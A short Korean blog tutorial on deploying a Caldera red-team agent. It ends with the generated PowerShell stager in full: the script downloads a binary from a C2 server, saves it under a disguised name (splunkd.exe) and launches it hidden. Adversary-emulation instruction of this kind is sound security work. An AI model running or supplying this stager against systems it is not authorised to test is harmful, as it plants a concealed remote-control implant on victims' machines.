칼데라 에이전트 실행하기

보안

칼데라 에이전트 실행하기

bitcoder 2022. 11. 9. 12:14

728x90

칼데라 에이전트를 설치하고 실행하는 절차를 소개합니다.

1. agent 설치 스크립트 내용 생성

페이지 좌측의 메뉴에서 agents 링크를 클릭하여 agents 페이지로 이동합니다.

다음 그림에서와 같이 나타나는 다이얼로그에서 Sandcat을 선택합니다.

그리고 다음 절차와 같이 실행합니다.

① platform으로 windows를 선택

② app.contact.http 항목에 칼데라 서버 주소를 입력

③ 생성된 스크립트의 내용 중 칼데라 서버 주소를 확인

제가 생성한 내용은 다음과 같습니다.

$server="http://192.168.42.138:8888";
$url="$server/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("file","sandcat.go");
$data=$wc.DownloadData($url);
get-process | ? {$_.modules.filename -like "C:\Users\Public\splunkd.exe"} | stop-process -f;
rm -force "C:\Users\Public\splunkd.exe" -ea ignore;
[io.file]::WriteAllBytes("C:\Users\Public\splunkd.exe",$data) | Out-Null;
Start-Process -FilePath C:\Users\Public\splunkd.exe -ArgumentList "-server $server -group red" -WindowStyle hidden;